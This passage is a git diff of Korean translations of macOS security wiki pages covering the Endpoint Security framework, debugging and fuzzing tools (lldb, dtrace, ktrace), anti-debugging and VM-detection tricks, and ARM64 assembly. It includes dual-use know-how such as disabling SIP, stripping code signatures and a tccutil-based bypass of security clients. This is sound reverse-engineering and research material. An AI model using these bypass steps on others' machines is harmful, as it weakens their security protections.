패킷이 아닌 연결(또는 흐름)을 기반으로 네트워크 트래픽을 처리함을 의미합니다. -- **Packet Tunnel**: 개별 패킷을 기반으로 네트워크 트래픽을 처리하는 패킷 지향의 사용자 정의 VPN 프로토콜을 구현하는 VPN 클라이언트를 생성하는 데 사용됩니다. +- **Packet Tunnel**: 패킷 지향의 사용자 정의 VPN 프로토콜을 구현하는 VPN 클라이언트를 생성하는 데 사용됩니다. 이는 개별 패킷을 기반으로 네트워크 트래픽을 처리함을 의미합니다. - **Filter Data**: 네트워크 "흐름"을 필터링하는 데 사용됩니다. 흐름 수준에서 네트워크 데이터를 모니터링하거나 수정할 수 있습니다. - **Filter Packet**: 개별 네트워크 패킷을 필터링하는 데 사용됩니다. 패킷 수준에서 네트워크 데이터를 모니터링하거나 수정할 수 있습니다. - **DNS Proxy**: 사용자 정의 DNS 제공자를 생성하는 데 사용됩니다. DNS 요청 및 응답을 모니터링하거나 수정하는 데 사용할 수 있습니다. @@ -42,7 +42,7 @@ Endpoint Security 프레임워크가 모니터링할 수 있는 이벤트는 다 - 파일 이벤트 - 프로세스 이벤트 - 소켓 이벤트 -- 커널 이벤트 (예: 커널 확장을 로드/언로드하거나 I/O Kit 장치를 여는 경우) +- 커널 이벤트 (예: 커널 확장 로드/언로드 또는 I/O Kit 장치 열기) ### Endpoint Security Framework Architecture @@ -71,7 +71,7 @@ tccutil reset All ``` 더 많은 정보는 이 우회 및 관련된 내용에 대해 [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) 강의를 확인하세요. -결국, 이는 **`tccd`**가 관리하는 보안 앱에 새로운 권한 **`kTCCServiceEndpointSecurityClient`**를 부여하여 수정되었으며, 이로 인해 `tccutil`이 권한을 지우지 않아 실행을 방해하지 않게 되었습니다. +결국, 이는 **`tccd`**가 관리하는 보안 앱에 새로운 권한 **`kTCCServiceEndpointSecurityClient`**를 부여하여 수정되었으며, 이로 인해 `tccutil`이 해당 권한을 지우지 않아 실행을 방지하지 않게 되었습니다. ## References diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md index 3d9b7c2e8..aa7e68316 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md @@ -84,7 +84,7 @@ ldid -S/tmp/entl.xml ### SuspiciousPackage [**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html)는 **.pkg** 파일(설치 프로그램)을 검사하고 설치하기 전에 내부 내용을 확인하는 데 유용한 도구입니다.\ -이 설치 프로그램에는 악성 코드 작성자가 일반적으로 **악성 코드**를 **지속**시키기 위해 악용하는 `preinstall` 및 `postinstall` bash 스크립트가 포함되어 있습니다. +이 설치 프로그램에는 악성 코드 작성자가 일반적으로 **악성 코드**를 **지속**시키기 위해 남용하는 `preinstall` 및 `postinstall` bash 스크립트가 포함되어 있습니다. ### hdiutil @@ -105,7 +105,7 @@ It will be mounted in `/Volumes` ### Metadata > [!CAUTION] -> Objective-C로 작성된 프로그램은 [Mach-O binaries](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)로 컴파일될 때 **클래스 선언을 유지**합니다. 이러한 클래스 선언에는 다음이 포함됩니다: +> Objective-C로 작성된 프로그램은 [Mach-O binaries](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)로 컴파일될 때 **클래스 선언을 유지**합니다. 이러한 클래스 선언에는 다음의 이름과 유형이 **포함**됩니다: - 정의된 인터페이스 - 인터페이스 메서드 @@ -136,13 +136,13 @@ x64: | **Argument** | **Register** | **(for) objc_msgSend** | | ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ | -| **1st argument** | **rdi** | **self: 메서드가 호출되는 객체** | +| **1st argument** | **rdi** | **self: 메서드가 호출되는 객체** | | **2nd argument** | **rsi** | **op: 메서드의 이름** | -| **3rd argument** | **rdx** | **메서드에 대한 1번째 인자** | -| **4th argument** | **rcx** | **메서드에 대한 2번째 인자** | -| **5th argument** | **r8** | **메서드에 대한 3번째 인자** | -| **6th argument** | **r9** | **메서드에 대한 4번째 인자** | -| **7th+ argument** |

rsp+
(스택에서)

| **메서드에 대한 5번째+ 인자** | +| **3rd argument** | **rdx** | **메서드에 대한 1번째 인자** | +| **4th argument** | **rcx** | **메서드에 대한 2번째 인자** | +| **5th argument** | **r8** | **메서드에 대한 3번째 인자** | +| **6th argument** | **r9** | **메서드에 대한 4번째 인자** | +| **7th+ argument** |

rsp+
(스택에서)

| **메서드에 대한 5번째+ 인자** | ### Dump ObjectiveC metadata @@ -162,7 +162,7 @@ objdump --macho --objc-meta-data /path/to/bin ``` #### class-dump -[**class-dump**](https://github.com/nygard/class-dump/)는 Objective-C 형식의 코드에서 클래스, 카테고리 및 프로토콜에 대한 선언을 생성하는 원래 도구입니다. +[**class-dump**](https://github.com/nygard/class-dump/)는 ObjectiveC 형식의 코드에서 클래스, 카테고리 및 프로토콜에 대한 선언을 생성하는 원래 도구입니다. 오래되었고 유지 관리되지 않아서 제대로 작동하지 않을 수 있습니다. @@ -175,9 +175,9 @@ metadata = icdump.objc.parse("/path/to/bin") print(metadata.to_decl()) ``` -## Static Swift 분석 +## 정적 Swift 분석 -Swift 바이너리의 경우, Objective-C 호환성 덕분에 때때로 [class-dump](https://github.com/nygard/class-dump/)를 사용하여 선언을 추출할 수 있지만 항상 가능한 것은 아닙니다. +Swift 바이너리의 경우, Objective-C 호환성 덕분에 때때로 [class-dump](https://github.com/nygard/class-dump/)를 사용하여 선언을 추출할 수 있지만 항상 그런 것은 아닙니다. **`jtool -l`** 또는 **`otool -l`** 명령어를 사용하면 **`__swift5`** 접두사로 시작하는 여러 섹션을 찾을 수 있습니다: ```bash @@ -193,7 +193,7 @@ Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture ``` 이 섹션에 저장된 [**정보에 대한 추가 정보는 이 블로그 게시물에서 확인할 수 있습니다**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html). -게다가, **Swift 바이너리는 기호를 가질 수 있습니다** (예: 라이브러리는 함수가 호출될 수 있도록 기호를 저장해야 합니다). **기호는 일반적으로 함수 이름과 속성에 대한 정보를 보기 좋지 않게 가지고 있으므로 매우 유용하며, 원래 이름을 얻을 수 있는 "**demanglers"**가 있습니다: +게다가, **Swift 바이너리는 기호를 가질 수 있습니다** (예를 들어, 라이브러리는 함수가 호출될 수 있도록 기호를 저장해야 합니다). **기호는 일반적으로 함수 이름과 속성에 대한 정보를 보기 좋지 않게 가지고 있으므로 매우 유용하며, 원래 이름을 얻을 수 있는 "**디망글러"**가 있습니다: ```bash # Ghidra plugin https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py @@ -204,7 +204,7 @@ swift demangle ## 동적 분석 > [!WARNING] -> 이진 파일을 디버깅하려면 **SIP를 비활성화해야 합니다** (`csrutil disable` 또는 `csrutil enable --without debug`) 또는 이진 파일을 임시 폴더로 복사하고 `codesign --remove-signature `로 **서명을 제거해야 하며**, 이진 파일의 디버깅을 허용해야 합니다 (이 [스크립트](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)를 사용할 수 있습니다). +> 이진 파일을 디버깅하려면 **SIP를 비활성화해야 합니다** (`csrutil disable` 또는 `csrutil enable --without debug`) 또는 이진 파일을 임시 폴더로 복사하고 **서명을 제거해야 합니다** `codesign --remove-signature ` 또는 이진 파일의 디버깅을 허용해야 합니다 (이 [스크립트](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)를 사용할 수 있습니다). > [!WARNING] > macOS에서 **시스템 이진 파일**(예: `cloudconfigurationd`)을 **계측**하려면 **SIP를 비활성화해야 합니다** (서명만 제거하는 것으로는 작동하지 않습니다). @@ -213,7 +213,7 @@ swift demangle macOS는 프로세스에 대한 정보를 제공하는 몇 가지 흥미로운 API를 노출합니다: -- `proc_info`: 각 프로세스에 대한 많은 정보를 제공하는 주요 API입니다. 다른 프로세스 정보를 얻으려면 루트 권한이 필요하지만, 특별한 권한이나 mach 포트는 필요하지 않습니다. +- `proc_info`: 각 프로세스에 대한 많은 정보를 제공하는 주요 API입니다. 다른 프로세스 정보를 얻으려면 루트 권한이 필요하지만 특별한 권한이나 mach 포트는 필요하지 않습니다. - `libsysmon.dylib`: XPC로 노출된 함수를 통해 프로세스에 대한 정보를 얻을 수 있게 해주지만, `com.apple.sysmond.client` 권한이 필요합니다. ### 스택샷 및 마이크로스택샷 @@ -224,13 +224,13 @@ macOS는 프로세스에 대한 정보를 제공하는 몇 가지 흥미로운 A 이 도구(`/usr/bini/ysdiagnose`)는 기본적으로 `ps`, `zprint`와 같은 수십 가지 명령을 실행하여 컴퓨터에서 많은 정보를 수집합니다... -루트 권한으로 실행해야 하며, 데몬 `/usr/libexec/sysdiagnosed`는 `com.apple.system-task-ports` 및 `get-task-allow`와 같은 매우 흥미로운 권한을 가지고 있습니다. +루트로 실행해야 하며, 데몬 `/usr/libexec/sysdiagnosed`는 `com.apple.system-task-ports` 및 `get-task-allow`와 같은 매우 흥미로운 권한을 가지고 있습니다. 그의 plist는 `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist`에 위치하며, 3개의 MachServices를 선언합니다: - `com.apple.sysdiagnose.CacheDelete`: /var/rmp의 오래된 아카이브를 삭제합니다. - `com.apple.sysdiagnose.kernel.ipc`: 특별 포트 23 (커널) -- `com.apple.sysdiagnose.service.xpc`: `Libsysdiagnose` Obj-C 클래스를 통한 사용자 모드 인터페이스. 사전 정의된 세 가지 인자를 딕셔너리로 전달할 수 있습니다 (`compress`, `display`, `run`) +- `com.apple.sysdiagnose.service.xpc`: `Libsysdiagnose` Obj-C 클래스를 통한 사용자 모드 인터페이스. 사전 정의된 세 가지 인수(`compress`, `display`, `run`)를 전달할 수 있습니다. ### 통합 로그 @@ -242,11 +242,11 @@ MacOS는 애플리케이션을 실행할 때 **무엇을 하고 있는지** 이 #### 왼쪽 패널 -Hopper의 왼쪽 패널에서는 이진 파일의 기호(**Labels**), 절차 및 함수 목록(**Proc**), 문자열(**Str**)을 볼 수 있습니다. 이들은 모든 문자열이 아니라 Mac-O 파일의 여러 부분에 정의된 문자열입니다 (예: _cstring 또는_ `objc_methname`). +Hopper의 왼쪽 패널에서는 이진 파일의 기호(**Labels**), 절차 및 함수 목록(**Proc**), 문자열(**Str**)을 볼 수 있습니다. 이들은 모든 문자열이 아니라 Mac-O 파일의 여러 부분(예: _cstring 또는_ `objc_methname`)에 정의된 문자열입니다. #### 중간 패널 -중간 패널에서는 **디스어셈블된 코드**를 볼 수 있습니다. 원시 디스어셈블, 그래프, 디컴파일된 코드 및 이진 코드로 각각의 아이콘을 클릭하여 볼 수 있습니다: +중간 패널에서는 **디스어셈블된 코드**를 볼 수 있습니다. 원시 디스어셈블, 그래프, 디컴파일된 코드 및 이진 파일로 각각의 아이콘을 클릭하여 볼 수 있습니다:
@@ -258,11 +258,11 @@ Hopper의 왼쪽 패널에서는 이진 파일의 기호(**Labels**), 절차 및 #### 오른쪽 패널 -오른쪽 패널에서는 **탐색 기록**(현재 상황에 도달한 방법을 알 수 있음), **호출 그래프**(이 함수를 호출하는 모든 **함수**와 이 함수가 호출하는 모든 **함수**를 볼 수 있음), 및 **로컬 변수** 정보를 포함한 흥미로운 정보를 볼 수 있습니다. +오른쪽 패널에서는 **탐색 기록**(현재 상황에 도달한 방법을 알 수 있음), **호출 그래프**(이 함수를 호출하는 모든 **함수**와 이 함수가 호출하는 모든 **함수**를 볼 수 있음), 및 **지역 변수** 정보를 포함한 흥미로운 정보를 볼 수 있습니다. ### dtrace -사용자가 애플리케이션에 매우 **저수준**으로 접근할 수 있게 해주며, 프로그램을 **추적**하고 실행 흐름을 변경할 수 있는 방법을 제공합니다. Dtrace는 **프로브**를 사용하며, 이는 **커널 전역에 배치**되어 있으며 시스템 호출의 시작과 끝과 같은 위치에 있습니다. +사용자가 애플리케이션에 매우 **저수준**으로 접근할 수 있게 해주며, 사용자가 **프로그램을 추적**하고 실행 흐름을 변경할 수 있는 방법을 제공합니다. Dtrace는 **프로브**를 사용하며, 이는 **커널 전역에 배치**되어 있으며 시스템 호출의 시작과 끝과 같은 위치에 있습니다. DTrace는 각 시스템 호출에 대한 프로브를 생성하기 위해 **`dtrace_probe_create`** 함수를 사용합니다. 이러한 프로브는 각 시스템 호출의 **진입 및 종료 지점**에서 발사될 수 있습니다. DTrace와의 상호작용은 /dev/dtrace를 통해 이루어지며, 이는 루트 사용자만 사용할 수 있습니다. @@ -350,20 +350,20 @@ dtruss -c -p 1000 #get syscalls of PID 1000 - KERN_KDSETREMOVE로 기존 설정 제거 - KERN_KDSETBUF 및 KERN_KDSETUP으로 추적 설정 - KERN_KDGETBUF로 버퍼 항목 수 가져오기 -- KERN_KDPINDEX로 추적에서 자신의 클라이언트 가져오기 +- KERN_KDPINDEX로 추적에서 자신의 클라이언트 찾기 - KERN_KDENABLE로 추적 활성화 - KERN_KDREADTR 호출로 버퍼 읽기 - 각 스레드를 해당 프로세스와 일치시키기 위해 KERN_KDTHRMAP 호출. 이 정보를 얻기 위해 Apple 도구 **`trace`** 또는 커스텀 도구 [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**를 사용할 수 있습니다.** -**Kdebug는 한 번에 1명의 고객에게만 제공된다는 점에 유의하십시오.** 따라서 동시에 실행할 수 있는 k-debug 기반 도구는 하나뿐입니다. +**Kdebug는 한 번에 1명의 고객만 사용할 수 있습니다.** 따라서 동시에 실행할 수 있는 k-debug 기반 도구는 하나뿐입니다. ### ktrace -`ktrace_*` API는 `libktrace.dylib`에서 제공되며, 이는 `Kdebug`의 래퍼입니다. 그런 다음 클라이언트는 `ktrace_session_create` 및 `ktrace_events_[single/class]`를 호출하여 특정 코드에 대한 콜백을 설정하고 `ktrace_start`로 시작할 수 있습니다. +`ktrace_*` API는 `libktrace.dylib`에서 제공되며, 이는 `Kdebug`의 래퍼입니다. 클라이언트는 `ktrace_session_create` 및 `ktrace_events_[single/class]`를 호출하여 특정 코드에 대한 콜백을 설정한 다음 `ktrace_start`로 시작할 수 있습니다. -**SIP가 활성화된 상태에서도 이 도구를 사용할 수 있습니다.** +**SIP가 활성화된 상태에서도 사용할 수 있습니다.** 클라이언트로는 유틸리티 `ktrace`를 사용할 수 있습니다: ```bash @@ -387,7 +387,7 @@ Kperf에는 sysctl MIB 테이블도 있습니다: (루트로) `sysctl kperf`. ### SpriteTree -[**SpriteTree**](https://themittenmac.com/tools/)는 프로세스 간의 관계를 인쇄하는 도구입니다.\ +[**SpriteTree**](https://themittenmac.com/tools/)는 프로세스 간의 관계를 출력하는 도구입니다.\ **`sudo eslogger fork exec rename create > cap.json`**와 같은 명령으로 Mac을 모니터링해야 합니다(이를 실행하는 터미널은 FDA가 필요합니다). 그런 다음 이 도구에서 json을 로드하여 모든 관계를 볼 수 있습니다:
@@ -398,7 +398,7 @@ Kperf에는 sysctl MIB 테이블도 있습니다: (루트로) `sysctl kperf`. ### Crescendo -[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo)는 Windows 사용자가 Microsoft Sysinternal의 _Procmon_에서 알 수 있는 모양과 느낌을 가진 GUI 도구입니다. 이 도구는 다양한 이벤트 유형의 기록을 시작하고 중지할 수 있으며, 파일, 프로세스, 네트워크 등과 같은 카테고리별로 이러한 이벤트를 필터링할 수 있는 기능을 제공하고, 기록된 이벤트를 json 형식으로 저장할 수 있는 기능을 제공합니다. +[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo)는 Windows 사용자가 Microsoft Sysinternal의 _Procmon_에서 알 수 있는 모양과 느낌을 가진 GUI 도구입니다. 이 도구는 다양한 이벤트 유형의 기록을 시작하고 중지할 수 있으며, 파일, 프로세스, 네트워크 등과 같은 카테고리별로 이러한 이벤트를 필터링할 수 있는 기능을 제공하며, 기록된 이벤트를 json 형식으로 저장할 수 있는 기능을 제공합니다. ### Apple Instruments @@ -415,12 +415,12 @@ fs_usage -w -f network curl #This tracks network actions ``` ### TaskExplorer -[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html)는 이진 파일에서 사용되는 **라이브러리**, 사용 중인 **파일** 및 **네트워크** 연결을 확인하는 데 유용합니다.\ -또한 이진 프로세스를 **virustotal**과 대조하여 이진 파일에 대한 정보를 보여줍니다. +[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html)은 이진 파일에서 사용되는 **라이브러리**, 사용 중인 **파일** 및 **네트워크** 연결을 확인하는 데 유용합니다.\ +또한 이진 프로세스를 **virustotal**과 비교하고 이진 파일에 대한 정보를 표시합니다. ## PT_DENY_ATTACH -[**이 블로그 게시물**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html)에서는 **`PT_DENY_ATTACH`**를 사용하여 디버깅을 방지하는 **실행 중인 데몬**을 **디버깅하는** 방법에 대한 예제를 찾을 수 있습니다. +[**이 블로그 게시물**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html)에서는 **`PT_DENY_ATTACH`**를 사용하여 디버깅을 방지하는 **실행 중인 데몬을 디버깅하는 방법**에 대한 예제를 찾을 수 있습니다. ### lldb @@ -438,10 +438,10 @@ settings set target.x86-disassembly-flavor intel > [!WARNING] > lldb 내에서 `process save-core`로 프로세스를 덤프합니다. -
(lldb) 명령어설명
run (r)실행을 시작하며, 중단점이 hit되거나 프로세스가 종료될 때까지 계속됩니다.
process launch --stop-at-entry진입점에서 중단하며 실행을 시작합니다.
continue (c)디버그된 프로세스의 실행을 계속합니다.
nexti (n / ni)다음 명령어를 실행합니다. 이 명령어는 함수 호출을 건너뜁니다.
stepi (s / si)다음 명령어를 실행합니다. nexti 명령어와 달리, 이 명령어는 함수 호출로 들어갑니다.
finish (f)현재 함수(“프레임”)의 나머지 명령어를 실행하고 반환 후 중단합니다.
control + c실행을 일시 중지합니다. 프로세스가 run (r) 또는 continue (c)로 실행된 경우, 현재 실행 중인 위치에서 프로세스가 중단됩니다.
breakpoint (b)

b main # main이라고 호출된 모든 함수

b <binname>`main # bin의 main 함수

b set -n main --shlib <lib_name> # 지정된 bin의 main 함수

breakpoint set -r '\[NSFileManager .*\]$' # 모든 NSFileManager 메서드

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # 해당 라이브러리의 모든 함수에서 중단

b -a 0x0000000100004bd9

br l # 중단점 목록

br e/dis <num> # 중단점 활성화/비활성화

breakpoint delete <num>

help

help breakpoint # 중단점 명령어 도움말

help memory write # 메모리에 쓰기 위한 도움말

reg

reg read

reg read $rax

reg read $rax --format <format>

reg write $rip 0x100035cc0

x/s <reg/memory address>메모리를 null로 종료된 문자열로 표시합니다.
x/i <reg/memory address>메모리를 어셈블리 명령어로 표시합니다.
x/b <reg/memory address>메모리를 바이트로 표시합니다.
print object (po)

이 명령어는 매개변수로 참조된 객체를 출력합니다.

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Apple의 대부분의 Objective-C API 또는 메서드는 객체를 반환하므로, “print object” (po) 명령어를 통해 표시해야 합니다. po가 의미 있는 출력을 생성하지 않으면 x/b를 사용하세요.

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 # 해당 주소에 AAAA 쓰기
memory write -f s $rip+0x11f+7 "AAAA" # 해당 주소에 AAAA 쓰기
disassembly

dis # 현재 함수의 디스어셈블리

dis -n <funcname> # 함수의 디스어셈블리

dis -n <funcname> -b <basename> # 함수의 디스어셈블리
dis -c 6 # 6줄 디스어셈블리
dis -c 0x100003764 -e 0x100003768 # 한 주소에서 다른 주소까지
dis -p -c 4 # 현재 주소에서 디스어셈블리 시작

parrayparray 3 (char **)$x1 # x1 레지스터의 3개 구성 요소 배열 확인
image dump sections현재 프로세스 메모리의 맵을 출력합니다.
image dump symtab <library>image dump symtab CoreNLP # CoreNLP의 모든 기호 주소 가져오기
+
(lldb) 명령어설명
run (r)실행을 시작하며, 중단점이 hit되거나 프로세스가 종료될 때까지 계속됩니다.
process launch --stop-at-entry진입점에서 중단하며 실행을 시작합니다.
continue (c)디버그된 프로세스의 실행을 계속합니다.
nexti (n / ni)다음 명령어를 실행합니다. 이 명령어는 함수 호출을 건너뜁니다.
stepi (s / si)다음 명령어를 실행합니다. nexti 명령어와 달리, 이 명령어는 함수 호출로 들어갑니다.
finish (f)현재 함수(“프레임”)의 나머지 명령어를 실행하고 반환 후 중단합니다.
control + c실행을 일시 중지합니다. 프로세스가 run (r) 또는 continue (c)로 실행된 경우, 현재 실행 중인 위치에서 프로세스가 중단됩니다.
breakpoint (b)

b main # main이라고 호출된 모든 함수

b <binname>`main # bin의 main 함수

b set -n main --shlib <lib_name> # 지정된 bin의 main 함수

breakpoint set -r '\[NSFileManager .*\]$' # 모든 NSFileManager 메서드

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # 해당 라이브러리의 모든 함수에서 중단

b -a 0x0000000100004bd9

br l # 중단점 목록

br e/dis <num> # 중단점 활성화/비활성화

breakpoint delete <num>

help

help breakpoint # 중단점 명령어 도움말

help memory write # 메모리에 쓰기 도움말

reg

reg read

reg read $rax

reg read $rax --format <format>

reg write $rip 0x100035cc0

x/s <reg/memory address>메모리를 null로 종료된 문자열로 표시합니다.
x/i <reg/memory address>메모리를 어셈블리 명령어로 표시합니다.
x/b <reg/memory address>메모리를 바이트로 표시합니다.
print object (po)

이 명령어는 매개변수로 참조된 객체를 출력합니다.

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

대부분의 Apple의 Objective-C API 또는 메서드는 객체를 반환하므로 “print object” (po) 명령어를 통해 표시해야 합니다. po가 의미 있는 출력을 생성하지 않으면 x/b를 사용하세요.

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 # 해당 주소에 AAAA 쓰기
memory write -f s $rip+0x11f+7 "AAAA" # 해당 주소에 AAAA 쓰기
disassembly

dis # 현재 함수의 디스어셈블리

dis -n <funcname> # 함수의 디스어셈블리

dis -n <funcname> -b <basename> # 함수의 디스어셈블리
dis -c 6 # 6줄 디스어셈블리
dis -c 0x100003764 -e 0x100003768 # 한 주소에서 다른 주소까지
dis -p -c 4 # 현재 주소에서 디스어셈블리 시작

parrayparray 3 (char **)$x1 # x1 레지스터의 3개 구성 요소 배열 확인
image dump sections현재 프로세스 메모리의 맵을 출력합니다.
image dump symtab <library>image dump symtab CoreNLP # CoreNLP의 모든 기호 주소 가져오기
> [!NOTE] -> **`objc_sendMsg`** 함수를 호출할 때, **rsi** 레지스터는 null로 종료된 (“C”) 문자열로서 **메서드의 이름**을 보유합니다. lldb를 통해 이름을 출력하려면 다음을 수행합니다: +> **`objc_sendMsg`** 함수를 호출할 때, **rsi** 레지스터는 null로 종료된 (“C”) 문자열로서 **메서드의 이름**을 보유합니다. lldb를 통해 이름을 출력하려면 다음과 같이 하세요: > > `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"` > @@ -455,8 +455,8 @@ settings set target.x86-disassembly-flavor intel #### VM 탐지 - **`sysctl hw.model`** 명령어는 **호스트가 MacOS**일 때 "Mac"을 반환하지만, VM일 경우 다른 값을 반환합니다. -- **`hw.logicalcpu`** 및 **`hw.physicalcpu`**의 값을 조작하여 일부 악성코드는 VM인지 감지하려고 합니다. -- 일부 악성코드는 MAC 주소(00:50:56)를 기반으로 **VMware**인지도 **탐지**할 수 있습니다. +- **`hw.logicalcpu`**와 **`hw.physicalcpu`**의 값을 조작하여 일부 악성코드는 VM인지 감지하려고 합니다. +- 일부 악성코드는 MAC 주소(00:50:56)를 기반으로 **VMware**인지 감지할 수도 있습니다. - 간단한 코드로 **프로세스가 디버그되고 있는지** 확인할 수 있습니다: - `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //디버그 중인 프로세스 }` - **`ptrace`** 시스템 호출을 **`PT_DENY_ATTACH`** 플래그와 함께 호출할 수도 있습니다. 이는 디버거가 연결하고 추적하는 것을 **방지**합니다. @@ -472,17 +472,17 @@ settings set target.x86-disassembly-flavor intel - 프로세스가 suid/sgid가 아니거나 `kern.sugid_coredump`가 1일 때 (기본값은 0) - `AS_CORE` 제한이 작업을 허용할 때. `ulimit -c 0`을 호출하여 코드 덤프 생성을 억제할 수 있으며, `ulimit -c unlimited`로 다시 활성화할 수 있습니다. -이 경우 코어 덤프는 `kern.corefile` sysctl에 따라 생성되며, 일반적으로 `/cores/core/.%P`에 저장됩니다. +이 경우 코어 덤프는 `kern.corefile` sysctl에 따라 생성되며 일반적으로 `/cores/core/.%P`에 저장됩니다. ## 퍼징 ### [ReportCrash](https://ss64.com/osx/reportcrash.html) ReportCrash는 **충돌하는 프로세스를 분석하고 충돌 보고서를 디스크에 저장합니다**. 충돌 보고서에는 **개발자가 충돌 원인을 진단하는 데 도움이 되는 정보**가 포함되어 있습니다.\ -사용자별 launchd 컨텍스트에서 **실행되는 애플리케이션 및 기타 프로세스**에 대해 ReportCrash는 LaunchAgent로 실행되며, 사용자의 `~/Library/Logs/DiagnosticReports/`에 충돌 보고서를 저장합니다.\ -데몬, 시스템 launchd 컨텍스트에서 **실행되는 기타 프로세스** 및 기타 권한 있는 프로세스에 대해 ReportCrash는 LaunchDaemon으로 실행되며, 시스템의 `/Library/Logs/DiagnosticReports`에 충돌 보고서를 저장합니다. +사용자별 launchd 컨텍스트에서 **실행되는 애플리케이션 및 기타 프로세스**에 대해 ReportCrash는 LaunchAgent로 실행되며 사용자의 `~/Library/Logs/DiagnosticReports/`에 충돌 보고서를 저장합니다.\ +데몬, 시스템 launchd 컨텍스트에서 **실행되는 기타 프로세스** 및 기타 권한이 있는 프로세스에 대해 ReportCrash는 LaunchDaemon으로 실행되며 시스템의 `/Library/Logs/DiagnosticReports`에 충돌 보고서를 저장합니다. -충돌 보고서가 **Apple로 전송되는 것에 대해 걱정된다면** 이를 비활성화할 수 있습니다. 그렇지 않으면, 충돌 보고서는 **서버가 어떻게 충돌했는지 알아내는 데 유용할 수 있습니다**. +충돌 보고서가 **Apple로 전송되는 것**이 걱정된다면 이를 비활성화할 수 있습니다. 그렇지 않으면 충돌 보고서는 **서버가 어떻게 충돌했는지 알아내는 데 유용할 수 있습니다**. ```bash #To disable crash reporting: launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist @@ -492,7 +492,7 @@ sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Roo launchctl load -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.plist ``` -### 수면 +### Sleep MacOS에서 퍼징할 때 Mac이 잠들지 않도록 하는 것이 중요합니다: @@ -500,7 +500,7 @@ MacOS에서 퍼징할 때 Mac이 잠들지 않도록 하는 것이 중요합니 - pmset, 시스템 환경설정 - [KeepingYouAwake](https://github.com/newmarcel/KeepingYouAwake) -#### SSH 연결 끊김 +#### SSH Disconnect SSH 연결을 통해 퍼징하는 경우 세션이 종료되지 않도록 하는 것이 중요합니다. 따라서 sshd_config 파일을 다음과 같이 변경하십시오: @@ -528,7 +528,7 @@ dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >> sort -u recv.log > procs.txt cat procs.txt ``` -`netstat` 또는 `lsof`를 사용하세요. +또는 `netstat` 또는 `lsof`를 사용하세요. ### Libgmalloc @@ -544,7 +544,7 @@ CLI 도구에 적합합니다. #### [Litefuzz](https://github.com/sec-tools/litefuzz) -macOS GUI 도구와 "**그냥 작동"**합니다. 일부 macOS 앱은 고유한 파일 이름, 올바른 확장자와 같은 특정 요구 사항이 있으며, 샌드박스에서 파일을 읽어야 합니다 (`~/Library/Containers/com.apple.Safari/Data`)... +macOS GUI 도구와 "**그냥 작동합니다**". 일부 macOS 앱은 고유한 파일 이름, 올바른 확장자와 같은 특정 요구 사항이 있으며, 샌드박스에서 파일을 읽어야 합니다 (`~/Library/Containers/com.apple.Safari/Data`)... 몇 가지 예: ```bash diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index 718c2a835..a364ddb89 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -31,17 +31,17 @@ ARM64에는 `x0`에서 `x30`까지 레이블이 붙은 **31개의 일반 목적 3. **`x9`**에서 **`x15`** - 더 많은 임시 레지스터로, 종종 지역 변수를 위해 사용됩니다. 4. **`x16`** 및 **`x17`** - **프로시저 내 호출 레지스터**. 즉각적인 값을 위한 임시 레지스터입니다. 간접 함수 호출 및 PLT(프로시저 링크 테이블) 스텁에도 사용됩니다. - **`x16`**은 **macOS**에서 **`svc`** 명령어의 **시스템 호출 번호**로 사용됩니다. -5. **`x18`** - **플랫폼 레지스터**. 일반 목적 레지스터로 사용할 수 있지만, 일부 플랫폼에서는 이 레지스터가 플랫폼 특정 용도로 예약되어 있습니다: Windows의 현재 스레드 환경 블록에 대한 